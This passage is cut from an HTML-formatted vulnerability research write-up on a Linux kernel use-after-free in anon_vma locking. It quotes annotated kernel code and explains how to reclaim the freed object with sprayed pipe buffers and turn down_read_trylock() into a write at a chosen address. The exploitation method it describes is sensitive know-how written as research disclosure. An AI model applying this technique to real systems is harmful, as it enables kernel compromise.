style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rcu_read_lock();</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_mapping = (unsigned long)READ_ONCE(</span><span style="background-color: #b4a7d6; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">folio->mapping</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if ((anon_mapping & PAGE_MAPPING_FLAGS) != PAGE_MAPPING_ANON)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">goto out;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if (!folio_mapped(folio))</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">goto out;</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">// anon_vma is dangling pointer</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: cyan; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> = (struct anon_vma *) (anon_mapping - PAGE_MAPPING_ANON);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">// root_anon_vma is read from dangling pointer</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: #f6b26b; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">root_anon_vma</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> = READ_ONCE(</span><span style="background-color: cyan; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">->root);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if (</span><span style="background-color: #ea9999; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">down_read_trylock</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(&</span><span style="background-color: #f6b26b; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">root_anon_vma</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">->rwsem)) {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[...]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if (!folio_mapped(folio)) { </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">// false</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[...]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">goto out;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if (rwc && rwc->try_lock) { </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">// true</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma = NULL;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rwc->contended = true;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">goto out;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[...]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">out:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rcu_read_unlock();</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">return </span><span style="background-color: cyan; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> // return dangling pointer</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">One potential exploit technique is to let the function return the dangling </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> pointer and try to make the subsequent operations do something useful. Instead, we chose to use the </span><span style="background-color: #ea9999; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">down_read_trylock()</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> call within the function to corrupt memory at a chosen address, which we can do if we can control the </span><span style="background-color: #f9cb9c; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">root_anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> pointer that is read from the freed </span><span style="background-color: cyan; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Controlling the </span><span style="background-color: #f9cb9c; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">root_anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> pointer means reclaiming the freed </span><span style="background-color: cyan; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> with attacker-controlled memory. </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> structures are allocated from their own kmalloc cache, which means we cannot simply free one and reclaim it with a different object. Instead we cause the associated </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> slab page to be returned back to the kernel page allocator by following a very similar strategy to the one documented </span><a href="https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">here</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. By freeing all the </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> objects on a slab page, then flushing the percpu slab page partial freelist, we can cause the virtual memory previously associated with the </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> to be returned back to the page allocator. We then spray pipe buffers in order to reclaim the freed </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> with attacker controlled memory.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">At this point, we’ve discussed how to turn our use-after-free into a </span><span style="background-color: #ea9999; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">down_read_trylock()</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> call on an attacker-controlled pointer. The implementation of </span><span style="background-color: #ea9999; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">down_read_trylock()</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is as follows:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rw_semaphore</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">atomic_long_t</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">count</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">atomic_long_t</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">owner</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">optimistic_spin_queue</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">osq</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/*</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">spinner</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">MCS</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">lock</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">*/</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">raw_spinlock_t</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">wait_lock</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">list_head</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">wait_list</span><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #616161; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">};</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0055aa; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">...</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">static</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #9c27b0; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">inline</span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #9c27b0; 